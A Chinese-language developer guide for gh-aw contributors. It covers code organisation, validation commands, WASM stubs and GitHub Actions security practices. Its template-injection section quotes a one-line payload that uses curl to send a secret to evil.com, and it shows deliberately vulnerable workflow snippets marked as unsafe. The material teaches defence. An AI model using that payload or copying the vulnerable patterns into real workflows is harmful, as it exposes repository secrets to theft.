关于 developer
面向 gh-aw 贡献者的开发参考,涵盖代码组织、验证、安全与实现模式,并以仓库约定、命令流程和示例说明日常开发实践。
主要功能
- 01代码组织指南
- 02验证命令流程
- 03安全与模式实践
- 04Go 和 JavaScript 模式
- 05发布与兼容性指南
适用场景
- 01确定新增 Go 或 JavaScript 代码的位置
- 02按开发阶段执行验证
- 03查阅安全与模式约定
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ github/ gh-aw --skill developer安装后在 Claude Code 中输入/developer确认已加载。
详细介绍
开发者说明
请参考此文档,了解 gh-aw 技术规范以及代码组织、验证、安全和实现模式方面的开发指南。
目录
操作命令手册
本节详细介绍日常命令的执行流程。这些内容是特意从 AGENTS.md 中移除的,以减少首次运行时的环境上下文。
验证检查点
分层运行验证——尽早发现编译错误,将耗时较长的测试留到最后一轮。
- 每次重要代码编辑后(快速,<5s——立即发现编译错误)
make build && make fmt - 每次调用
report_progress报告进度前(快速,<30s——不运行测试)make agent-report-progress-no-test - 调用最终
report_progress报告进度前(较慢,每个会话运行一次——包括 test-unit)make agent-report-progress - 最终交接前,在时间允许时
make agent-finish
**重要规则:**仅在调用最终
report_progress报告进度前运行test-unit,不要在中间保存前运行。每次不必要的调用都会使验证总耗时增加 120+ 秒。
**超时预算:**预计
make test-unit最多耗时 120 秒。如果超时,请使用make test-impacted-go,仅运行当前分支变更所影响的软件包的测试。
按变更类型选择命令
- Go 文件变更:
make fmt - 工作流 Markdown 变更:
make recompile - JavaScript(
*.cjs)变更:make fmt-cjs && make lint-cjs
合并 main 操作手册
明确要求合并 main 时:
- 运行
make merge-main。 - 如果
.go或.cjs文件存在冲突,请解决冲突并暂存文件。 - 运行:
make build make recompile git commit make fmt
大小写规范
gh-aw CLI 根据上下文使用不同的大小写,以区分产品名称和泛指的工作流。
大小写规则
| 上下文 | 格式 | 示例 |
|---|---|---|
| 产品名称 | 首字母大写 | “GitHub Agentic Workflows CLI from GitHub Next” |
| 泛指工作流 | 小写 | “Enable agentic workflows” |
| 技术术语 | 首字母大写 | “Compile Markdown workflows to GitHub Actions YAML” |
此规范将产品名称(GitHub Agentic Workflows)与概念(agentic workflows)区分开来,并遵循行业标准,类似于“GitHub Actions”与“actions”的区别。
实现
大小写规则通过 cmd/gh-aw/capitalization_test.go 中的自动化测试强制执行,这些测试会作为标准测试套件的一部分运行。
代码组织
文件组织原则
代码库遵循按功能而非按类型组织代码的明确模式。本节将介绍如何保持代码质量和结构。
优先使用多个小文件,而非大型文件
将代码组织到各自专注于特定功能、每个 100-500 行的文件中,而不要创建大型的单体文件。
示例:
create_issue.go (160 lines)
create_pull_request.go (238 lines)
create_discussion.go (118 lines)
按功能分组,而非按类型分组
推荐方式:
create_issue.go # Issue creation logic
create_issue_test.go # Issue creation tests
add_comment.go # Comment addition logic
add_comment_test.go # Comment tests
避免:
models.go # All structs
logic.go # All business logic
tests.go # All tests
值得遵循的优秀模式
创建函数模式
每个 GitHub 实体创建操作使用一个文件:
create_issue.go- GitHub issue 创建逻辑create_pull_request.go- Pull request 创建逻辑create_discussion.go- Discussion 创建逻辑create_code_scanning_alert.go- 代码扫描警报创建逻辑
优点:
- 职责分离清晰
- 易于定位特定功能
- 防止文件变得过大
- 便于并行开发
引擎分离模式
每个 AI 引擎都有自己的文件,共享辅助函数位于 engine_helpers.go 中:
copilot_engine.go- GitHub Copilot 引擎claude_engine.go- Claude 引擎codex_engine.go- Codex 引擎custom_engine.go- 自定义引擎支持engine_helpers.go- 共享引擎实用工具
测试组织模式
测试与实现文件放在一起:
- 功能测试:
feature.go+feature_test.go - 集成测试:
feature_integration_test.go - 特定场景测试:
feature_scenario_test.go
文件大小指南
| 类别 | 行数 | 使用场景 | 示例 |
|---|---|---|---|
| 小文件 | 50-200 | 实用工具、简单功能 | args.go(65 行) |
| 中等文件 | 200-500 | 大多数功能实现 | create_issue.go(160 行) |
| 大文件 | 500-800 | 复杂功能 | permissions.go(905 行) |
| 超大文件 | 800+ | 仅限核心基础设施 | compiler.go(1596 行) |
决策树:创建新文件
graph TD
A[Need to add code] --> B{New safe output type?}
B -->|Yes| C[Create create_entity.go]
B -->|No| D{New AI engine?}
D -->|Yes| E[Create engine_name_engine.go]
D -->|No| F{Current file > 800 lines?}
F -->|Yes| G[Consider splitting by boundaries]
F -->|No| H{Functionality independent?}
H -->|Yes| I[Create new file]
H -->|No| J[Add to existing file]
决策树:拆分文件
graph TD
A[Evaluating file split] --> B{File > 1000 lines?}
B -->|Yes| C[SHOULD split]
B -->|No| D{File > 800 lines?}
D -->|Yes| E[CONSIDER splitting]
D -->|No| F{Multiple responsibilities?}
F -->|Yes| E
F -->|No| G{Frequent merge conflicts?}
G -->|Yes| E
G -->|No| H[Keep as is]
案例研究:重构大型文件
对 pkg/parser/frontmatter.go 的重构展示了如何将文件组织原则应用于大型单体文件。
初始状态
- 原始文件:1,907 行(单体结构)
- 问题:难以浏览、理解和维护
- 目标:拆分为职责明确、易于维护的模块
重构方法
graph TD
A[frontmatter.go<br/>1,907 LOC] --> B[ansi_strip.go<br/>108 LOC]
A --> C[frontmatter_content.go<br/>284 LOC]
A --> D[remote_fetch.go<br/>258 LOC]
A --> E[workflow_update.go<br/>129 LOC]
A --> F[frontmatter.go<br/>1,166 LOC]
B --> G[ANSI escape<br/>sequence utilities]
C --> H[Frontmatter<br/>parsing & extraction]
D --> I[GitHub remote<br/>content fetching]
E --> J[Workflow file<br/>updates]
F --> K[Core frontmatter<br/>processing]
style B fill:#90EE90
style C fill:#90EE90
style D fill:#90EE90
style E fill:#90EE90
style F fill:#FFE4B5
结果
| 指标 | 之前 | 之后 | 变化 |
|---|---|---|---|
| 主文件大小 | 1,907 LOC | 1,166 LOC | -741 LOC(-39%) |
| 文件数量 | 1 | 5 | +4 个文件 |
| 平均文件大小 | 1,907 LOC | 233 LOC | -88% |
| 测试通过率 | 100% | 100% | 无变化 ✓ |
| 破坏性变更 | N/A | 0 | 无 ✓ |
提取的模块
-
ansi_strip.go(108 LOC)
- ANSI 转义序列剥离实用工具
- 独立,无依赖项
- 函数:
StripANSI()、isFinalCSIChar()、isCSIParameterChar()
-
frontmatter_content.go(284 LOC)
- Frontmatter 的基本解析和提取
- 无副作用的纯函数
- 函数:
ExtractFrontmatterFromContent()、ExtractFrontmatterString()、ExtractMarkdownContent()等
-
remote_fetch.go(258 LOC)
- GitHub 远程内容获取
- GitHub API 交互和缓存
- 函数:
downloadIncludeFromWorkflowSpec()、resolveRefToSHA()、downloadFileFromGitHub()
-
workflow_update.go(129 LOC)
- 高层工作流文件更新
- Frontmatter 操作和 cron 表达式处理
- 函数:
UpdateWorkflowFrontmatter()、EnsureToolsSection()、QuoteCronExpressions()
应用的关键原则
- 单一职责:每个模块负责 Frontmatter 处理的一个方面
- 边界清晰:模块之间的接口定义明确
- 渐进式重构:先提取独立的实用工具,再提取更高层的模块
- 无破坏性变更:始终保持公共 API 兼容
- 测试驱动的安全保障:每次提取后都运行测试
剩余工作
原始文件中还保留三个复杂模块(需要在后续工作中处理):
- tool_sections.go(约 420 LOC):工具配置的提取与合并
- include_expander.go(约 430 LOC):带循环检测的递归 include 解析
- frontmatter_imports.go(约 360 LOC):BFS 导入遍历和处理
由于模块间依赖性高、逻辑有状态且递归算法复杂,因此暂未拆分。
应避免的反模式
上帝文件
一个文件包揽所有工作——应按职责拆分。frontmatter.go 重构示例展示了如何系统地拆分一个 1,907 行的“上帝文件”。
命名含糊
避免使用 utils.go、helpers.go、misc.go、common.go 这类描述性不足的文件名。
使用 ansi_strip.go、remote_fetch.go 或 workflow_update.go 这类具体名称,清晰表明文件的用途。
职责混杂
让文件专注于单一领域。不要在一个文件中混合无关功能。
测试污染
按场景拆分测试,不要把所有测试都放在一个庞大的测试文件中。
过早抽象
等有 2-3 个用例后,再提取通用模式。
辅助文件约定
辅助文件包含多个模块共用的实用函数。创建或修改辅助文件时,请遵循以下指南。
何时创建辅助文件
满足以下条件时,创建辅助文件:
- 共享实用函数:同一领域的 3 个以上文件会用到
- 领域明确(例如,配置解析、MCP 渲染、CLI 封装)
- 功能稳定,不会频繁变更
适合放入辅助文件的示例:
github_cli.go- GitHub CLI 封装函数(ExecGH、ExecGHWithOutput)config_helpers.go- 安全输出配置解析(parseLabelsFromConfig、parseTitlePrefixFromConfig)map_helpers.go- 通用映射/类型实用函数(parseIntValue、filterMapKeys)mcp_renderer.go- MCP 配置渲染(RenderGitHubMCPDockerConfig、RenderJSONMCPConfig)
命名约定
辅助文件名应具体且有描述性,而不是泛泛而谈:
合适的名称:
github_cli.go- 表明包含 GitHub CLI 辅助函数mcp_renderer.go- 表明包含 MCP 渲染辅助函数config_helpers.go- 表明包含配置解析辅助函数
避免使用:
helpers.go- 过于笼统utils.go- 含义过于模糊misc.go- 表明组织不当common.go- 未说明所属领域
辅助文件中应包含的内容
应包含:
- 多个文件都会用到的小型(< 50 行)实用函数
- 特定领域的解析/验证函数
- 用于简化常见操作的包装函数
- 类型转换实用函数
不应包含:
- 复杂业务逻辑(应放在特定领域的文件中)
- 仅有 1-2 个调用方的函数(与调用方放在一起)
- 大型函数(> 100 行)——考虑放入专用文件
- 单个文件中的多个无关领域
辅助文件组织方式
pkg/workflow 中现有的辅助文件:
| 文件 | 用途 | 函数 | 使用场景 |
|---|---|---|---|
github_cli.go | GitHub CLI 包装器 | 2 个函数 | CLI 命令和工作流解析会用到 |
config_helpers.go | 安全输出配置解析 | 5 个函数 | 安全输出处理器会用到 |
map_helpers.go | 通用映射/类型实用函数 | 2 个函数 | 工作流编译过程中都会用到 |
prompt_step_helper.go | 提示词步骤生成 | 1 个函数 | 提示词生成器会用到 |
mcp_renderer.go | MCP 配置渲染 | 多个渲染函数 | 所有 AI 引擎都会用到 |
engine_helpers.go | 引擎通用实用函数 | Agent、npm 安装辅助函数 | Copilot、Claude、Codex 引擎会用到 |
何时不应创建辅助文件
以下情况应避免创建辅助文件:
- 只有一个调用方——应与调用方放在一起
- 耦合紧密——函数与单个模块紧密耦合
- 频繁变更——辅助文件应保持稳定
- 职责混杂——包含多个无关的实用函数(拆分到职责明确的文件中)
优先选择就近放置的示例:
// Instead of: helpers.go containing formatStepName() used only by compiler.go
// Do: Put formatStepName() directly in compiler.go
重构指南
重构辅助文件时:
- 按领域分组——MCP 渲染放入 mcp_renderer.go,而不是 engine_helpers.go
- 保持函数简短——大型辅助函数(> 100 行)可能需要放入专用文件
- 说明用途——添加注释,解释每个辅助函数的使用时机
- 检查调用点——确认有 3 个以上调用方后,再将函数保留在辅助文件中
示例:MCP 函数重组
MCP 渲染函数从 engine_helpers.go 移到了 mcp_renderer.go,原因如下:
- 领域聚焦:所有函数都与 MCP 配置渲染相关
- 多个调用方:Claude、Copilot、Codex 和 Custom 引擎都会使用这些函数
- 内聚性:这些函数协同工作,用于渲染 MCP 配置
- 稳定性:渲染模式不会频繁变化
之前:
engine_helpers.go (478 lines)
- Agent helpers
- npm install helpers
- MCP rendering functions ← Should be in mcp_renderer.go
之后:
engine_helpers.go (213 lines)
- Agent helpers
- npm install helpers
mcp_renderer.go (523 lines)
- MCP rendering functions
- MCP configuration types
字符串清理与规范化
代码库使用两种不同的字符串处理模式,目的也各不相同。
清理模式:字符有效性
目的:移除或替换无效字符,以创建有效的标识符、文件名或产物名称。
适用场景:需要确保字符串仅包含特定上下文中有效的字符(标识符、YAML 产物名称、文件系统路径)时。
处理内容:
- 移除目标上下文中无效的特殊字符
- 将分隔符(冒号、斜杠、空格)替换为连字符
- 转换为小写,以保持一致性
- 根据配置保留某些字符(句点、下划线)
规范化模式:格式标准化
目的:通过移除扩展名、在不同约定间转换,或应用一致的格式规则来标准化格式。
适用场景:需要在同一逻辑实体的不同表示形式之间转换时(例如,文件扩展名、命名约定)。
处理内容:
- 移除文件扩展名(.md、.lock.yml)
- 在不同命名约定间转换(连字符转下划线)
- 将标识符标准化为规范形式
- 不会验证字符有效性(假设输入已有效)
函数参考
清理函数:
SanitizeName(name string, opts *SanitizeOptions) string- 使用自定义字符保留规则进行可配置的清理SanitizeWorkflowName(name string) string- 清理工作流名称,以用于产物名称和文件路径SanitizeIdentifier(name string) string- 为用户 Agent 字符串创建规范的标识符
规范化函数:
normalizeWorkflowName(name string) string- 移除文件扩展名,以获取基础工作流标识符normalizeSafeOutputIdentifier(identifier string) string- 将连字符转换为下划线,以生成安全的输出标识符
决策树
graph TD
A[Need to process a string?] --> B{Need to ensure character validity?}
B -->|Yes| C[Use SANITIZE]
C --> D{Artifact name / file path?}
C --> E{Identifier / user agent?}
C --> F{Custom requirements?}
D --> G[SanitizeWorkflowName]
E --> H[SanitizeIdentifier]
F --> I[SanitizeName with options]
B -->|No| J{Need to standardize format?}
J -->|Yes| K[Use NORMALIZE]
K --> L{Remove file extensions?}
K --> M{Convert conventions?}
L --> N[normalizeWorkflowName]
M --> O[normalizeSafeOutputIdentifier]
最佳实践
- 选择合适的工具:使用清理来确保字符有效,使用规范化来标准化格式。
- 避免重复处理:如果规范化后得到的是有效标识符,就不要再次清理。
- 说明意图:使用这些函数时,添加注释说明所用的模式及其原因。
- 验证假设:如果假设输入已有效,请记录该假设。
- 考虑默认值:需要为空结果提供回退默认值时,使用
SanitizeIdentifier。
反模式
不要清理已规范化的字符串:
// BAD: Sanitizing a normalized workflow name
normalized := normalizeWorkflowName("weekly-research.md")
sanitized := SanitizeWorkflowName(normalized) // Unnecessary!
不要用规范化来确保字符有效性:
// BAD: Using normalize for invalid characters
userInput := "My Workflow: Test/Build"
normalized := normalizeWorkflowName(userInput) // Wrong tool!
// normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain)
WASM 构建变体模式
pkg/workflow/ 中的 7 个文件为 WASM 编译目标(GOOS=js GOARCH=wasm)提供依赖操作系统功能的存根实现,gh-aw Web 游乐场会使用该目标。每个文件都以 _wasm.go 为后缀(Go 对 GOARCH=wasm 隐式采用的文件名构建约束),并且在第 1 行带有显式的 //go:build js || wasm 标签:
pkg/workflow/dependabot_wasm.go
pkg/workflow/docker_validation_wasm.go
pkg/workflow/git_helpers_wasm.go
pkg/workflow/github_cli_wasm.go
pkg/workflow/npm_validation_wasm.go
pkg/workflow/pip_validation_wasm.go
pkg/workflow/repository_features_validation_wasm.go
每个 _wasm.go 文件都会镜像对应的非 WASM 文件中的公共函数和包级函数签名,但会将操作系统调用(执行、文件系统、网络)替换为空操作,或返回 fmt.Errorf("... not available in Wasm")。
何时需要 _wasm.go 桩
在现有受 _wasm.go 保护的文件中添加新函数时,或创建会在编译/验证时调用操作系统级工具的新文件时,都要添加 _wasm.go 桩。具体包括:
- 调用
os/exec或运行外部二进制文件(gh、git、docker、npm、pip、uv 等)的函数 - 在编译期间从真实文件系统读取数据的函数
- 在验证时执行网络 I/O 的函数
不需要 WASM 桩的函数:
- 纯数据转换(字符串操作、YAML 编组)
- 仅操作内存中数据结构的函数
- 受
WithSkipValidation(true)控制的函数(运行时已排除,但仍需通过编译)
如何添加桩
- 找到非 WASM 文件(例如,
github_cli.go)。 - 打开(或创建)对应的
_wasm.go文件(例如,github_cli_wasm.go)。 - 确保第 1 行的构建标签为
//go:build js || wasm。 - 添加一个签名相同、返回零值和/或错误的桩:
func MyNewFunction(args ...string) ([]byte, error) { return nil, fmt.Errorf("MyNewFunction not available in Wasm") } - 验证 WASM 构建仍能通过编译:
GOOS=js GOARCH=wasm go build ./pkg/workflow/
已知缺口
github_cli_wasm.go 目前未提供 enrichGHError、runGHWithSpinnerContext、RunGHCombinedContext、RunGHWithHost 和 SetGHHostEnv 的桩。这些是未导出的辅助函数或仅由已导出且已有桩的 RunGH* 系列函数调用的简单封装;编译器不会直接引用它们。此处是有意为之——除非 WASM 构建失败,否则不要为未导出的辅助函数添加桩。
验证架构
验证系统会在编译前确保工作流配置正确、安全,并与 GitHub Actions 兼容。
架构概览
graph LR
WF[Workflow] --> CV[Centralized Validation]
WF --> DV[Domain-Specific Validation]
CV --> validation.go
DV --> strict_mode.go
DV --> pip.go
DV --> npm.go
DV --> expression_safety.go
DV --> engine.go
DV --> mcp-config.go
集中式验证
位置: pkg/workflow/validation.go(782 行)
用途: 适用于整个工作流系统的通用验证
主要函数:
validateExpressionSizes()- 确保符合 GitHub Actions 表达式大小限制validateContainerImages()- 验证 Docker 镜像存在且可访问validateRuntimePackages()- 验证运行时软件包依赖项validateGitHubActionsSchema()- 根据 GitHub Actions YAML 架构进行验证validateNoDuplicateCacheIDs()- 确保缓存标识符唯一validateSecretReferences()- 验证密钥引用语法validateRepositoryFeatures()- 检查仓库功能validateHTTPTransportSupport()- 验证 HTTP 传输配置validateWorkflowRunBranches()- 验证工作流运行分支配置
以下情况应在此处添加验证:
- 涉及多个领域的横向问题
- 核心工作流完整性检查
- GitHub Actions 兼容性验证
- 通用架构和配置验证
- 仓库级功能检测
特定领域验证
特定领域的验证分布在不同文件中:
严格模式验证
文件: pkg/workflow/strict_mode.go、pkg/workflow/validation_strict_mode.go
在严格模式下强制执行安全约束:
validateStrictPermissions()- 拒绝写入权限validateStrictNetwork()- 要求显式配置网络validateStrictMCPNetwork()- 要求在自定义 MCP 服务上配置网络validateStrictBashTools()- 拒绝 bash 通配符工具
Python 软件包验证
文件: pkg/workflow/pip.go
验证 Python 软件包是否可在 PyPI 上获取:
validatePipPackages()- 验证 pip 软件包validateUvPackages()- 验证 uv 软件包
NPM 软件包验证
文件: pkg/workflow/npm.go
验证 NPX 软件包是否可在 npm 注册表中获取。
表达式安全性
文件: pkg/workflow/expression_safety.go
通过基于允许列表的验证,检查 GitHub Actions 表达式的安全性。
验证决策树
graph TD
A[New Validation Requirement] --> B{Security or strict mode?}
B -->|Yes| C[strict_mode.go]
B -->|No| D{Only applies to one domain?}
D -->|Yes| E{Domain-specific file exists?}
E -->|Yes| F[Add to domain file]
E -->|No| G[Create new domain file]
D -->|No| H{Cross-cutting concern?}
H -->|Yes| I[validation.go]
H -->|No| J{Validates external resources?}
J -->|Yes| K[Domain-specific file]
J -->|No| I
验证模式
允许列表验证
用于对有效选项有限的场景进行安全敏感的验证:
func validateExpressionSafety(content string) error {
matches := expressionRegex.FindAllStringSubmatch(content, -1)
var unauthorizedExpressions []string
for _, match := range matches {
expression := strings.TrimSpace(match[1])
if !isAllowed(expression) {
unauthorizedExpressions = append(unauthorizedExpressions, expression)
}
}
if len(unauthorizedExpressions) > 0 {
return fmt.Errorf("unauthorized expressions: %v", unauthorizedExpressions)
}
return nil
}
外部资源验证
用于验证外部依赖项:
func validateDockerImage(image string, verbose bool) error {
cmd := exec.Command("docker", "inspect", image)
output, err := cmd.CombinedOutput()
if err != nil {
pullCmd := exec.Command("docker", "pull", image)
if pullErr := pullCmd.Run(); pullErr != nil {
return fmt.Errorf("docker image not found: %s", image)
}
}
return nil
}
架构验证
用于验证配置文件:
func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error {
schema := loadGitHubActionsSchema()
var data interface{}
if err := yaml.Unmarshal([]byte(yamlContent), &data); err != nil {
return err
}
if err := schema.Validate(data); err != nil {
return fmt.Errorf("schema validation failed: %w", err)
}
return nil
}
渐进式验证
用于依次应用多项验证检查:
func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermissions *NetworkPermissions) error {
if !c.strictMode {
return nil
}
if err := c.validateStrictPermissions(frontmatter); err != nil {
return err
}
if err := c.validateStrictNetwork(networkPermissions); err != nil {
return err
}
return nil
}
安全最佳实践
本节根据静态分析工具(actionlint、zizmor、poutine)和安全研究,概述 GitHub Actions 工作流的安全最佳实践。
防止模板注入
当不可信输入被直接用于 GitHub Actions 表达式时,就会发生模板注入,使攻击者能够执行任意代码或访问机密。
了解风险
GitHub Actions 表达式(${{ }})会在工作流执行前求值。如果不可信数据(议题标题、PR 正文、评论)流入这些表达式,攻击者就可以注入恶意代码。
不安全模式
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
run: echo "${{ github.event.issue.title }}"
易受攻击的原因: 议题标题被直接插入。攻击者可以注入:"; curl evil.com/?secret=$SECRET; echo "
安全模式:环境变量
# SECURE: Use environment variables
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"
安全原因: 表达式在受控上下文中求值(环境变量赋值)。Shell 会将该值作为数据接收,而非可执行代码。
数据流对比
graph TB
subgraph "Unsafe Pattern"
A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
B1 --> C1[Direct Interpolation<br/>into Shell Command]
C1 --> D1[Code Execution Risk]
style D1 fill:#f88,stroke:#f00
end
subgraph "Safe Pattern"
A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
B2 --> C2[Environment Variable<br/>Assignment]
C2 --> D2[Shell Receives<br/>Data Only]
D2 --> E2[No Code Execution]
style E2 fill:#8f8,stroke:#0f0
end
近期修复(2025 年 11 月)
以下文件中发现并修复了模板注入漏洞:
copilot-session-insights.md- 步骤输出通过环境变量传递- 模式:将模板表达式从 bash 脚本移至环境变量赋值
详细分析和修复文档请参阅 scratchpad/template-injection-prevention.md。
安全模式:已清理的上下文(仅适用于 gh-aw)
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"
steps.sanitized.outputs.text 输出会自动清理:
- 消除 @ 提及
- 防止机器人触发
- 将 XML 标签转换为安全格式
- 仅允许来自可信域名的 HTTPS URI
- 强制执行内容限制(0.5MB、65k 行)
- 移除控制字符
安全的上下文变量
始终可在表达式中安全使用:
github.actorgithub.repositorygithub.run_idgithub.run_numbergithub.sha
未经环境变量间接传递,绝不可在表达式中安全使用:
github.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.pull_request.titlegithub.event.pull_request.bodygithub.head_ref(可由 PR 作者控制)
Shell 脚本最佳实践
SC2086:使用双引号防止通配符扩展和单词拆分
不安全:
steps:
- name: Process files
run: |
FILES=$(ls *.txt)
for file in $FILES; do
echo $file
done
易受攻击的原因: 变量可能按空白字符拆分,通配符模式会展开,还可能导致命令注入。
安全:
steps:
- name: Process files
run: |
while IFS= read -r file; do
echo "$file"
done < <(find . -name "*.txt")
Shell 脚本安全检查清单
- 始终为变量展开加引号:
"$VAR" - 条件判断使用
[[ ]],而非[ ] - 命令替换使用
$(),而非反引号 - 启用严格模式:
set -euo pipefail - 验证并清理所有输入
- 使用 shellcheck 发现常见问题
安全脚本示例:
steps:
- name: Secure script
env:
INPUT_VALUE: ${{ github.event.inputs.value }}
run: |
set -euo pipefail
if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
echo "Invalid input format"
exit 1
fi
echo "Processing: $INPUT_VALUE"
result=$(grep -r "$INPUT_VALUE" . || true)
echo "$result"
供应链安全
供应链攻击以 CI/CD 流水线中的依赖项为目标。
使用 SHA 固定 Action 版本
不安全:
steps:
- uses: actions/checkout@v5 # Tag can be moved
- uses: actions/setup-node@main # Branch can be updated
易受攻击的原因: 标签可能被删除并重新创建,分支可能被强制推送,仓库所有权也可能变更。
安全:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
安全原因: SHA 提交不可变。注释提供便于人类识别的版本信息,方便更新。
查找 Action 的 SHA
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1
# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
工作流结构和权限
最小权限原则
不安全:
name: CI
on: [push]
permissions: write-all
安全:
name: CI
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
作业级权限
name: CI/CD
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
deploy:
needs: test
runs-on: ubuntu-latest
permissions:
contents: read
deployments: write
steps:
- uses: actions/checkout@sha
- run: npm run deploy
可用权限
| 权限 | 读取 | 写入 | 使用场景 |
|---|---|---|---|
| contents | 读取代码 | 推送代码 | 仓库访问 |
| issues | 读取议题 | 创建/编辑议题 | 议题管理 |
| pull-requests | 读取 PR | 创建/编辑 PR | PR 管理 |
| actions | 读取运行记录 | 取消运行 | 工作流管理 |
| checks | 读取检查结果 | 创建检查 | 状态检查 |
| deployments | 读取部署记录 | 创建部署 | 部署管理 |
静态分析集成
将静态分析工具集成到开发和 CI/CD 工作流中:
可用工具
- actionlint - 检查 GitHub Actions 工作流,并验证 Shell 脚本
- zizmor - GitHub Actions 安全漏洞扫描器
- poutine - 供应链安全分析器
本地运行
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/
# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine
# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
安全检查清单
模板注入
- 不在
${{ }}表达式中使用不可信输入 - 通过环境变量传递不可信数据
- 尽可能使用安全的上下文变量
- 使用经过清理的上下文(gh-aw:
steps.sanitized.outputs.text)
Shell 脚本
- 为所有变量加引号:
"$VAR" - 不存在 SC2086 警告(未加引号的展开)
- 启用严格模式:
set -euo pipefail - 已实现输入验证
- shellcheck 检查通过且无警告
供应链
- 所有 Action 均固定到 SHA(而非标签/分支)
- 为固定到 SHA 的 Action 添加版本注释
- 使用来自可信创建者的 Action,或已对其进行审查
- 已扫描依赖项中的漏洞
权限
- 指定最小权限
- 不使用
write-all权限 - 必要时使用作业级权限
- 安全处理来自 Fork 的 PR
静态分析
- actionlint 检查通过(无错误)
- zizmor 检查通过(已处理高危/严重问题)
- poutine 检查通过(供应链安全)
安全输出消息
安全输出函数以一致的消息模式处理 GitHub API 写入操作(创建议题、讨论、评论、PR),适用于 AI 生成的内容。
安全输出消息流程
下图说明了 AI 生成的内容如何通过安全输出系统流向 GitHub API 操作:
graph TD
A[AI Agent Output] --> B{Staged Mode?}
B -->|Yes| C[Generate Preview Messages]
B -->|No| D[Process Safe Output]
C --> E[Show 🎭 Staged Mode Preview]
E --> F[Display in Step Summary]
D --> G{Safe Output Type}
G -->|create-issue| H[Create GitHub Issue]
G -->|create-discussion| I[Create GitHub Discussion]
G -->|add-comment| J[Add GitHub Comment]
G -->|create-pull-request| K[Create Pull Request]
G -->|create-pr-review-comment| L[Create PR Review Comment]
G -->|update-issue| M[Update GitHub Issue]
H --> N[Apply Message Patterns]
I --> N
J --> N
K --> N
L --> N
M --> N
N --> O[Add AI Attribution Footer]
N --> P[Add Installation Instructions]
N --> Q[Add Related Items Links]
N --> R[Add Patch Preview]
O --> S[Execute GitHub API Operation]
P --> S
Q --> S
R --> S
S --> T[Generate Success Summary]
T --> U[Display in Step Summary]
流程阶段:
- AI Agent 输出 - AI 为 GitHub 操作生成内容
- 暂存模式检查 - 确定操作是否处于预览模式
- 安全输出处理 - 将内容路由到相应的 GitHub 操作类型
- 消息模式应用 - 应用一致的格式(页脚、说明、链接)
- GitHub API 执行 - 执行实际的 GitHub 操作
- 成功摘要 - 在工作流步骤摘要中报告结果
消息类别
AI 归属页脚
标识内容由 AI 生成,并链接到工作流运行记录:
> AI generated by [WorkflowName](run_url)
附带触发上下文:
> AI generated by [WorkflowName](run_url) for #123
工作流安装说明
>
> To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://github.github.com/gh-aw/setup/cli/).
暂存模式预览
所有暂存模式预览都使用带有 🎭 表情符号的一致格式:
## 🎭 Staged Mode: [Operation Type] Preview
The following [items] would be [action] if staged mode was disabled:
补丁预览
在 PR 正文中显示 Git 补丁,并限制大小:
<details><summary>Show patch (45 lines)</summary>
\`\`\`diff
diff --git a/src/auth.js b/src/auth.js
index 1234567..abcdefg 100644
--- a/src/auth.js
+++ b/src/auth.js
@@ -10,7 +10,10 @@ export async function login(username, password) {
- throw new Error('Login failed');
+ if (response.status === 401) {
+ throw new Error('Invalid credentials');
+ }
+ throw new Error('Login error: ' + response.statusText);
\`\`\`
</details>
限制:最多 500 行或 2000 个字符(超出时截断并附加“... (truncated)”)
设计原则
一致性
- 所有 AI 生成的内容都使用相同的引用块页脚格式
- 🎭 表情符号始终用于标记暂存预览模式
- URL 模式符合 GitHub 规范
- 步骤摘要遵循相同的标题和列表结构
清晰度
- 明确区分预览操作和实际操作
- 提供清晰的错误消息和可执行的指导
- 操作失败时提供有帮助的备用说明
- 字段标签始终使用粗体
易于发现
- 有可用的安装说明时,将其包含在页脚中
- 在工作流输出中自动链接相关条目
- 步骤摘要便于快速访问已创建的条目
- 使用可折叠部分,让大量内容更易于管理
安全性
- 对标签进行净化,防止意外提及用户
- 验证补丁大小,并在需要时截断
- 暂存模式支持无副作用测试
- 主要操作失败时提供优雅的回退方案
Schema 验证
所有三个 JSON schema 文件都在根级别通过 "additionalProperties": false 强制执行严格验证,防止拼写错误和未定义字段在验证中悄然通过。
Schema 文件
| 文件 | 用途 |
|---|---|
pkg/parser/schemas/main_workflow_schema.json | 验证 .github/workflows/*.md 文件中的 Agent 工作流 frontmatter |
pkg/parser/schemas/mcp_config_schema.json | 验证 MCP(Model Context Protocol)服务配置 |
工作原理
在根级别设置 "additionalProperties": false 后,验证器会拒绝任何未在 schema 的 properties 部分中明确定义的属性。这可以捕获常见的拼写错误:
- 用
permisions代替permissions - 用
engnie代替engine - 用
toolz代替tools - 用
timeout_minute代替timeout-minutes - 用
runs_on代替runs-on - 用
safe_outputs代替safe-outputs
验证错误示例
$ gh aw compile workflow-with-typo.md
